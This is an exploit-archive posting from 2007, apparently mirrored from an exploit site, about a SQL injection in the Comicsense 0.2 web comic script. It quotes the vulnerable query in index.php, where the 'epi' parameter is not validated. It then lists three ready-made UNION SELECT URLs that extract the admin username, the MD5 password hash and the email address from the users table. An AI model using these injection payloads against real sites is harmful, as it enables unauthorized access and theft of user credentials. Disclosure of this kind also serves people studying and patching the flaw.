[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Comicsense 0.2 (index.php epi) Remote SQL Injection Vulnerability
# Published : 2007-06-05
# Author : s0cratex
# Previous Title : Kravchuk letter script 1.0 (scdir) Remote File Inclusion Vulnerabilities
# Next Title : Sendcard <= 3.4.1 (Local File Inclusion) Remote Code Execution Exploit
*********************************************
Comicsense SQL Injection Advisory/Exploit
*********************************************
by s0cratex
s0cratex@hotmail.com
http://plexinium.net
-
ComicSense is a script using php / mySQL.
It allows you to easily host an Online Comic
or Image shack.
You can download it from www.gayadesign.nl/comicsense/
-
The bug is a common sql injection in "index.php"
Line 32:
$sqlQuery = "SELECT * FROM " . $prefix . "comic WHERE episodenr = $epi";
And the variable $epi is not verified...
Exploit:
--------
Admin username
http://site.com/comic_paht/index.php?epi=-1 UNION SELECT username,1,1 FROM users
MD5 hash password:
http://site.com/comic_paht/index.php?epi=-1 UNION SELECT password,1,1 FROM users
e-Mail adress:
http://site.com/comic_paht/index.php?epi=-1 UNION SELECT email,1,1 from users
# www.Syue.com [2007-06-05]